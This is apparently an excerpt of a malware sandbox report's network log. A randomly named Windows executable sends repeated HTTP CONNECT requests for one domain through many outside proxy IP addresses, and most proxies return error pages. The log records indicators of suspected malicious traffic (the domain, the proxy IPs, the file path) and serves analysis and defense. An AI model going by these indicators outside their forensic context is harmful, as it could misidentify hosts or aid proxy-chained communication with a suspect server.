Feb 23, 2024 09:45:20.275881052 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.4	50929	172.233.58.86	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.124670029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.4	50906	93.126.56.30	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.124687910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.4	50934	184.185.2.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.139956951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.680309057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.4	50962	207.178.166.187	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.161370993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.322283983 CET	531	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 08:45:20 GMT Server: Apache/2.4.29 (Ubuntu) Allow: GET,POST,OPTIONS,HEAD Content-Length: 331 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.4	50965	80.82.77.2	32520	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.167231083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.739382982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.334760904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.443878889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.578670025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.701222897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.834990025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.037971020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.4	51007	162.159.242.159	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.197909117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.285002947 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.4	50926	94.20.183.172	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.198719978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.4	50879	183.215.23.242	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.203310013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.583815098 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:45:48 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.4	50996	184.60.66.122	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.222280025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.346227884 CET	1286	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 08:45:20 GMT Server: Apache/2.4.56 (Debian) Location: https://heygirlisheeverythingyouwantedinaman.com:443/index.php Content-Length: 3239 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4d 6f 62 69 6c 65 4f 70 74 69 6d 69 7a 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 65 6e 74 3d 22 74 72 75 65 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 50 20 43 6f 6d 70 75 74 69 6e 67 20 43 6f 6e 63 65 70 74 73 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6c 69 62 2f 64 70 63 63 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 55 62 75 6e 74 75 3a 34 30 30 2c 33 30 30 2c 37 30 30 2c 35 30 30 2c 34 30 30 69 74 61 6c 69 63 25 37 63 44 69 64 61 63 74 2b 47 6f 74 68 69 63 3a 73 75 62 73 65 74 3d 6c 61 74 69 6e 2d 65 78 74 25 37 63 4d 75 6c 69 3a 34 30 30 2c 34 30 30 69 74 61 6c 69 63 2c 33 30 30 69 74 61 6c 69 63 2c 33 30 30 25 37 63 41 6d 69 6b 6f 3a 34 30 30 2c 37 30 30 22 0d 0a 20 20 20 20 20 20 20 20 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 40 35 2e 31 2e 33 2f 64 69 73 74 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 0d 0a 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 31 42 6d 45 34 6b 57 42 71 37 38 69 59 68 46 6c 64 76 4b 75 68 66 54 41 55 36 61 75 55 38 74 54 39 34 57 72 48 66 74 6a 44 62 72 43 45 58 53 55 31 6f 42 6f 71 79 6c 32 51 76 5a 36 6a 49 57 33 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 40 35 2e 31 2e 33 2f 64 69 73 74 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 62 75 6e 64 6c 65 2e 6d 69 6e 2e 6a 73 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 6b 61 37 53 6b 30 47 6c 6e 34 67 6d 74 7a 32 4d 6c 51 6e 69 6b 54 31 77 58 67 59 73 4f 67 2b 4f 4d 68 75 50 2b 49 6c 52 48 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"/> <meta name="MobileOptimized" content="width"/> <meta name="HandheldFriendly" content="true"/> <meta name="viewport" content="width=device-width, initial-scale=1.0"/> <link rel="shortcut icon" href="/favicon.ico" type="image/vnd.microsoft.icon"/> <title>DP Computing Concepts</title> <link rel="stylesheet" href="/lib/dpcc.css"> <link href="https://fonts.googleapis.com/css?family=Ubuntu:400,300,700,500,400italic%7cDidact+Gothic:subset=latin-ext%7cMuli:400,400italic,300italic,300%7cAmiko:400,700" media="all" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous"></head><body> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH
Feb 23, 2024 09:45:20.347877026 CET	1286	IN	Data Raw: 39 73 45 4e 42 4f 30 4c 52 6e 35 71 2b 38 6e 62 54 6f 76 34 2b 31 70 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 Data Ascii: 9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script><header> <div class="row mt-2"> <div class="col-sm-auto">
Feb 23, 2024 09:45:20.349329948 CET	894	IN	Data Raw: 74 65 6d 73 2e 20 57 65 20 68 61 76 65 20 64 65 76 65 6c 6f 70 65 64 20 73 65 6e 73 6f 72 20 73 79 73 74 65 6d 73 20 66 6f 72 20 6d 6f 6e 69 74 6f 72 69 6e 67 20 62 61 73 69 63 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 61 6c 20 63 6f 6e 64 69 74 69 6f Data Ascii: tems. We have developed sensor systems for monitoring basic environmental conditions for growing agricultural products such as grapes. These sensors are capable of remotely monitoring temperature, humidity, light levels, and soil moistur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.4	50737	117.160.250.132	8899	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.222523928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.828969955 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.4	50595	202.162.219.12	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.223869085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.4	50898	113.143.37.82	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.227669001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.597534895 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.4	50914	203.95.199.159	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.231286049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.4	51085	104.16.105.15	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.267190933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.355189085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.4	51081	185.162.229.112	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.267257929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.355020046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.4	50919	27.65.116.243	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.270750046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.4	51009	212.110.188.202	34409	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.272567987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.865602970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.475004911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.680668116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865768909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.940140009 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.4	51099	104.20.24.214	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.277363062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.370145082 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	50927	102.132.57.93	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.282569885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.4	51015	195.90.216.75	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.283404112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
